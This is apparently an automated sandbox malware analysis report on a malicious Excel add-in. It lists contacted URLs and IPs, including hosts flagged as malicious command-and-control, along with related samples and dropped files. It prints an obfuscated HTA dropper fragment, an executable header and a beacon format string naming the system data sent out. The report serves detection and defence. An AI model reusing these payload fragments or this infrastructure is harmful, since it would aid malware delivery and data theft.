https://officeci.azurewebsites.net/api/	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	true	Avira URL Cloud: safe	unknown
https://sr.outlook.office.net/ws/speech/recognize/assistant/work	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://store.office.cn/addinstemplate	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000006.00000002.332192660.0000000004A22000.00000004.00000001.sdmp	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000006.00000002.332192660.0000000004A22000.00000004.00000001.sdmp	false		high
https://go.micro	powershell.exe, 00000006.00000003.320087365.000000000530E000.00000004.00000001.sdmp	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://outlook.office.com/autosuggest/api/v1/init?cvid=	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://globaldisco.crm.dynamics.com	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://contoso.com/Icon	powershell.exe, 00000006.00000002.335236045.0000000005943000.00000004.00000001.sdmp	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://store.officeppe.com/addinstemplate	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://dev0-api.acompli.net/autodetect	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.odwebp.svc.ms	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://api.powerbi.com/v1.0/myorg/groups	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://web.microsoftstream.com/video/	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://graph.windows.net	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://dataservice.o365filtering.com/	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000006.00000002.332192660.0000000004A22000.00000004.00000001.sdmp	false		high
https://officesetup.getmicrosoftkey.com	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://analysis.windows.net/powerbi/api	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://prod-global-autodetect.acompli.net/autodetect	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://outlook.office365.com/autodiscover/autodiscover.json	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://ncus.contentsync.	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
http://weather.service.msn.com/data.aspx	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://apis.live.net/v5.0/	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
http://srand04rf.ru	powershell.exe, 00000006.00000002.333951627.0000000004CEF000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://management.azure.com	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://wus2.contentsync.	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://incidents.diagnostics.office.com	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
http://api.ipify.org0.0.0.0ncdrlebGUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)GUID	snd32sys.exe, 00000010.00000002.486399700.0000000000614000.00000002.00020000.sdmp	true	Avira URL Cloud: safe	low
https://clients.config.office.net/user/v1.0/ios	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
http://ocsp.sectigo.com0	0708_5355150121.xll	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://insertmedia.bing.office.net/odc/insertmedia	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://o365auditrealtimeingestion.manage.office.com	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://contoso.com/License	powershell.exe, 00000006.00000002.335236045.0000000005943000.00000004.00000001.sdmp	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://outlook.office365.com/api/v1.0/me/Activities	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://api.office.net	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://incidents.diagnosticssdf.office.com	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://asgsmsproxyapi.azurewebsites.net/	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	true	Avira URL Cloud: safe	unknown
https://clients.config.office.net/user/v1.0/android/policies	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0708_5355150121.xll	true	Avira URL Cloud: safe	unknown
https://entitlement.diagnostics.office.com	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://substrate.office.com/search/api/v2/init	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://outlook.office.com/	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
http://pesterbdd.com/images/Pester.png8	powershell.exe, 00000002.00000002.348758603.0000000004C80000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
https://storage.live.com/clientlogs/uploadlocation	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://templatelogging.office.com/client/log	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://outlook.office365.com/	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://webshell.suite.office.com	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://contoso.com/	powershell.exe, 00000006.00000002.335236045.0000000005943000.00000004.00000001.sdmp	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://management.azure.com/	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high
https://login.windows.net/common/oauth2/authorize	F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
23.21.173.155	elb097307-934924932.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
77.222.42.67	sudepallon.com	Russian Federation	44112	SWEB-ASRU	true
8.211.241.0	srand04rf.ru	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	445958
Start date:	08.07.2021
Start time:	16:29:13
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 20s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	0708_5355150121.xll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLL@10/11@4/4
EGA Information:	Failed
HDC Information:	Successful, ratio: 3% (good quality ratio 2.9%) Quality average: 88.5% Quality standard deviation: 21.2%
HCA Information:	Successful, ratio: 75% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xll
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe HTTP Packets have been reduced TCP Packets have been reduced to 100 Excluded IPs from analysis (whitelisted): 40.88.32.150, 104.42.151.234, 13.88.21.125, 52.109.88.177, 52.109.12.21, 52.147.198.201, 20.82.210.154, 2.20.84.85, 51.103.5.186, 20.82.209.183, 95.101.22.134, 95.101.22.125, 40.112.88.60, 92.122.145.220 Excluded domains from analysis (whitelisted): prod-w.nexus.live.com.akadns.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, skypedataprdcoleus15.cloudapp.net, e12564.dspb.akamaiedge.net, wns.notify.trafficmanager.net, nexus.officeapps.live.com, arc.trafficmanager.net, officeclient.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, client.wns.windows.com, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, fs.microsoft.com, prod.configsvc1.live.com.akadns.net, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, e1723.g.akamaiedge.net, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus16.cloudapp.net, skypedataprdcolwus15.cloudapp.net, europe.configsvc1.live.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:30:52	API Interceptor	50x Sleep call for process: powershell.exe modified
16:31:54	API Interceptor	91x Sleep call for process: snd32sys.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
23.21.173.155	file.doc	Get hash	malicious	Browse	api.ipify.org/?format=xml
	file.dll	Get hash	malicious	Browse	api.ipify.org/?format=xml
	file.dll	Get hash	malicious	Browse	api.ipify.org/?format=xml
	file.doc	Get hash	malicious	Browse	api.ipify.org/?format=xml
	file.dll	Get hash	malicious	Browse	api.ipify.org/?format=xml
	file.dll	Get hash	malicious	Browse	api.ipify.org/?format=xml
77.222.42.67	triage_dropped_file.dll	Get hash	malicious	Browse	mancause.ru/8/forum.php
	nimb.dll	Get hash	malicious	Browse	mancause.ru/8/forum.php
	0706_1050501748839.doc	Get hash	malicious	Browse	mancause.ru/8/forum.php
	file.dll	Get hash	malicious	Browse	mancause.ru/8/forum.php
	file.doc	Get hash	malicious	Browse	mancause.ru/8/forum.php
	file.doc	Get hash	malicious	Browse	mancause.ru/8/forum.php
	file.dll	Get hash	malicious	Browse	mancause.ru/8/forum.php
	file.doc	Get hash	malicious	Browse	mancause.ru/8/forum.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
elb097307-934924932.us-east-1.elb.amazonaws.com	OTzccW5OZg.exe	Get hash	malicious	Browse	50.16.226.23
	ve88CBNzQZ.dll	Get hash	malicious	Browse	50.16.216.118
	triage_dropped_file.dll	Get hash	malicious	Browse	54.235.175.90
	nimb.dll	Get hash	malicious	Browse	50.16.216.118
	0706_1050501748839.doc	Get hash	malicious	Browse	50.16.216.118
	file.dll	Get hash	malicious	Browse	23.21.136.132
	file.doc	Get hash	malicious	Browse	23.21.211.162
	file.doc	Get hash	malicious	Browse	23.21.136.132
	file.dll	Get hash	malicious	Browse	54.235.121.178
	file.doc	Get hash	malicious	Browse	50.16.246.238
	0706_1715044809783.doc	Get hash	malicious	Browse	54.235.175.90
	niberius.dll	Get hash	malicious	Browse	50.16.218.217
	nimb.dll	Get hash	malicious	Browse	54.225.78.40
	4h2yLkN8DO.dll	Get hash	malicious	Browse	23.23.104.250
	TejsR02giJ.exe	Get hash	malicious	Browse	50.16.216.118
	juON02msHS.dll	Get hash	malicious	Browse	23.23.104.250
	B6tFTmWwt8.exe	Get hash	malicious	Browse	50.16.218.217
	Y0Cc092A1t.exe	Get hash	malicious	Browse	54.235.175.90
	02ZEulFtpQ.exe	Get hash	malicious	Browse	54.235.121.178
	triage_dropped_file.dll	Get hash	malicious	Browse	50.16.218.217
srand04rf.ru	aCWkTdaR6G.dll	Get hash	malicious	Browse	8.209.119.208
	0616_433887484261.doc	Get hash	malicious	Browse	8.209.119.208
	omsh.dll	Get hash	malicious	Browse	8.209.119.208
	omsh_.dll	Get hash	malicious	Browse	8.209.119.208
	omh.dll	Get hash	malicious	Browse	8.209.119.208
	0616_1338797754728.doc	Get hash	malicious	Browse	8.209.119.208

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
SWEB-ASRU	triage_dropped_file.dll	Get hash	malicious	Browse	77.222.42.67
	nimb.dll	Get hash	malicious	Browse	77.222.42.67
	0706_1050501748839.doc	Get hash	malicious	Browse	77.222.42.67
	file.dll	Get hash	malicious	Browse	77.222.42.67
	file.doc	Get hash	malicious	Browse	77.222.42.67
	file.doc	Get hash	malicious	Browse	77.222.42.67
	file.dll	Get hash	malicious	Browse	77.222.42.67
	file.doc	Get hash	malicious	Browse	77.222.42.67
	jax.k.dll	Get hash	malicious	Browse	77.222.52.246
	0526_28522894410229.doc	Get hash	malicious	Browse	77.222.52.246
	0526_1488782409783.doc	Get hash	malicious	Browse	77.222.52.246
	0526_17568640710485.doc	Get hash	malicious	Browse	77.222.52.246
	0526_4618771472215.doc	Get hash	malicious	Browse	77.222.52.246
	0526_1488782409783.doc	Get hash	malicious	Browse	77.222.52.246
	jax.k.dll	Get hash	malicious	Browse	77.222.52.246
	180000.dll	Get hash	malicious	Browse	77.222.52.246
	jax.k.dll	Get hash	malicious	Browse	77.222.52.246
	HZHWEk01Ts.exe	Get hash	malicious	Browse	77.222.40.109
	pT4uZ7ExfU.exe	Get hash	malicious	Browse	77.222.40.139
	bid,11.20.doc	Get hash	malicious	Browse	77.222.55.176
AMAZON-AESUS	OTzccW5OZg.exe	Get hash	malicious	Browse	50.16.216.118
	ve88CBNzQZ.dll	Get hash	malicious	Browse	50.16.216.118
	FQ4jzOGrg6udVQoV9d7S.exe	Get hash	malicious	Browse	3.223.125.168
	FQ4jzOGrg6udVQoV9d7S.exe	Get hash	malicious	Browse	3.223.125.168
	triage_dropped_file.dll	Get hash	malicious	Browse	54.225.245.108
	nimb.dll	Get hash	malicious	Browse	54.235.175.90
	0706_1050501748839.doc	Get hash	malicious	Browse	50.16.216.118
	file.dll	Get hash	malicious	Browse	50.16.220.248
	file.doc	Get hash	malicious	Browse	23.21.173.155
	file.doc	Get hash	malicious	Browse	50.16.246.238
	file.dll	Get hash	malicious	Browse	54.225.245.108
	file.doc	Get hash	malicious	Browse	50.16.246.238
	0706_1715044809783.doc	Get hash	malicious	Browse	54.235.175.90
	niberius.dll	Get hash	malicious	Browse	23.21.211.162
	kURQyzESXZ.dll	Get hash	malicious	Browse	52.20.197.7
	nimb.dll	Get hash	malicious	Browse	23.21.136.132
	4h2yLkN8DO.dll	Get hash	malicious	Browse	23.23.104.250
	aJuocCMPkL.exe	Get hash	malicious	Browse	34.225.31.148
	TejsR02giJ.exe	Get hash	malicious	Browse	54.235.190.106
	CvRqP96UZw.exe	Get hash	malicious	Browse	100.25.107.227

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\Public\res32.hta Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	HTML document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	8419
Entropy (8bit):	5.163512636419693
Encrypted:	false
SSDEEP:	192:/arm5dHoAR5V98geGR4qUg3fjRORjkSRQvRIPLBaGxmBWzMIAlPoP8L7T:/audHjf98lRqTP9UgYCGNaGxmNDlo8L3
MD5:	71999A9D2F15E164C9B1FA926AA6444B
SHA1:	C1FBD2B6458B474A208B6CC710951940C9290E5C
SHA-256:	DA92436D2BBCDEF52B11ACE6E2E063E9971CEFC074D194550BD425305C97CDD5
SHA-512:	298EAAB6D157E81BB738B1605285A0D14B05AE3656F1BBF72C4921C78B74BE7048B6744144469CB4EF48F4D4D233F794C366F192765A4F193C48B2DE2EFF4C27
Malicious:	true
Reputation:	low
Preview:	<!DOCTYPE html>..<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >....<html>..<body>....<script language="javascript">..var _0x8c86 = [.. 'W6RcUHHOW4dcUSocyZGj',.. 'WQBdGaO7WPqZW73dIq',.. 'W4pcLqKgyCkGaaHJW6O',.. 'W4hcOqzBnmo7W7HC',.. 'bWFcVWmEW4fSxsldUSoKWPW',.. 'WQxcUs0tWQG2W74',.. 'yfC1W6BcPef7W6ldJdu',.. 'WPVcJSoCnHyuWRNdHmkHWPbYWQK',.. 'W57cKCoKiCkGW5/cPZrZmW',.. 'WQxdHxzcW7WBW4BdVqnvWPm',.. 'W5NdTCklAg8dWPhdPSk0WR9JWQ3cLSo4WPpdN2O',.. 'zg5jW70/wJ1eW4lcOK/cHG',.. 'WPbyBmoUWPDzkblcJWHYcq',.. 'W7ldUt/cN8kdWPNcQty',.. 'aahdHuTHWP9DqG',.. 'WQdcMbi8WOSxW7q',.. 'W7iQnmo+DCkVzSoc',.. 'W5WHrvJcTmoFEw/cRSolcmo5mmoI',.. 'k8ofemkaW5PbzczLlcXQ',.. 'W7hdUMpdHCo8W5FcKHqqye9M',.. 'a8opcSkonCkOrq',.. 'WPb5WQVdV0hcQSk7W58',.. 'y1DLWRxcKe1oW6a',.. 'W53cKSoPk8oPW5dcLdzuiCk+',.. 'W48dx8kNWPVdIXzeiSoDW6RdMmk4WOZcGmkqgd7dKCk/WR7cLSoQWRL6W4XRee3dKmopiL3cMJm5iCkgW67cMLuxW73cMrldNCkvCfZdKCo5zmolW5tcJvdcISoLW6ONW77dS8k4tm

C:\Users\Public\snd32sys.exe Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	763392
Entropy (8bit):	6.644646436393566
Encrypted:	false
SSDEEP:	12288:4AbvaOTfFGikmS6jd2QML8HXWp8KEwbHBkm9jjgbFHLViv0dC2x0uTadTaUk7u:vbvJfFGikmS0pXfw7Bkm9j088PlTaDj
MD5:	ED1921467F6784AF6BDCA40A06A541B5
SHA1:	63B70725C3298D5FA17277EC64C77A4B6FBCF697
SHA-256:	3DB14214A9EB98B3B5ABFFCB314C808A25ED82456CE01251D31E8EA960F6E4E6
SHA-512:	A30779D84521049F4CEBA11B0F0B16430DB8A38FF38AB540585C9AE89D7214655E0C5C246E21E97AB65D8F3DC0D472DDB8BDA1E01AF82E632C66A2CCD159F020
Malicious:	true
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........c..m...m...m......m.......m......m......m...m...m......m......m.......m..Rich.m..................PE..L....<.`.................b...................................................p......W.....@..................................u..........@.................... ..@G..p9..T............................9..@............................................text....`.......b.................. ..`.rdata..P............f..............@..@.data............^...l..............@....rsrc...@...........................@..@.reloc..@G... ...H...^..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\F2E779D9-2A7F-4724-B0D9-67BDDA1F0003 Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	135209
Entropy (8bit):	5.363084368102766
Encrypted:	false
SSDEEP:	1536:qcQIKNgeBTA3gBwlpQ9DQW+zoY34ZliKWXboOidX5E6LWME9:MEQ9DQW+zwXO1
MD5:	585F16F872D700ED9074C9599BFCAA8D
SHA1:	A7B0CEC26282A4EBDD6B8A336B6C922EB7CCB546
SHA-256:	27F46B4BD834974CEEC3353473B97BCF16BD3AF5FBD14BEC8340D2B8048BA237
SHA-512:	94B68F6C6BF74CFCE8CF9D3E908EB674EDF0F93B097885301BF60B6D536BC38FB596DE3047142BCBF8F879FC417632F11B4BDCAFB8C4C4C8AFBCB1BCDF34C73C
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2021-07-08T14:30:08">.. Build: 16.0.14306.30528-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	17512
Entropy (8bit):	5.575682556842605
Encrypted:	false
SSDEEP:	384:qtpOrhtOomtrzRkSBKnKileIoK7Q99gtSJQpO1ViYbR:H4KKiler98tRC7l
MD5:	804765CA20FB452B7AFDC20F54DDC5BC
SHA1:	1E475060FAC7DC9546B6DF29B78D139485F5E105
SHA-256:	1E64FB0B2717B6E64DC2C096EF0169206D5C25A854760C212FBA76EF5E362E51
SHA-512:	2887822470F0F2C21FC08F7DF3EBEBF873E9844C62F5666A66D43D1345E003BCB6A8CDDFDAC42ADA6C34C750092E2190F2B5460E531382E1604493FD6E4BA6A6
Malicious:	false
Reputation:	low
Preview:	@...e.......................7.(.k.....].7............@..........H...............<@.^.L."My...:D..... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)R.......System.Management.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..L...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f............System.Management...4....................].D.E.....#.......System.Data.<................):gK..G...$.1.q........System.ConfigurationH................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.P................./.C..J..%...].2.....%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_021oib5j.5er.ps1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_33lmhbcg.erz.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l5bzl405.f5n.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m31y4pff.piz.ps1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\Documents\20210708\PowerShell_transcript.888683.0syxhOX+.20210708163014.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	5.311205245712001
Encrypted:	false
SSDEEP:	24:BxSA5xvBnnDx2DOXUWTLST1lDPWKHjeTKKjX4CIym1ZJXgrLST1lDRnxSAZ0:BZLvhDoOXu1cKqDYB1ZUu1vZZ0
MD5:	45D933EF1A814178B4C30D1C511EEA62
SHA1:	92AB0E5235A9C4FED5941154906879B3C51F8FD2
SHA-256:	FF3092607FC1517161D2C45D1014A05475343498EEFC44C7C834FB81661D7688
SHA-512:	16EE676884C815562AD21973E371EDB772514726DA50D1DDE806BA92A4335871DAF897D90A89FA8C5F963E4F34728716C4048EBDC763A8E419CEB7C67BF5B35F
Malicious:	false
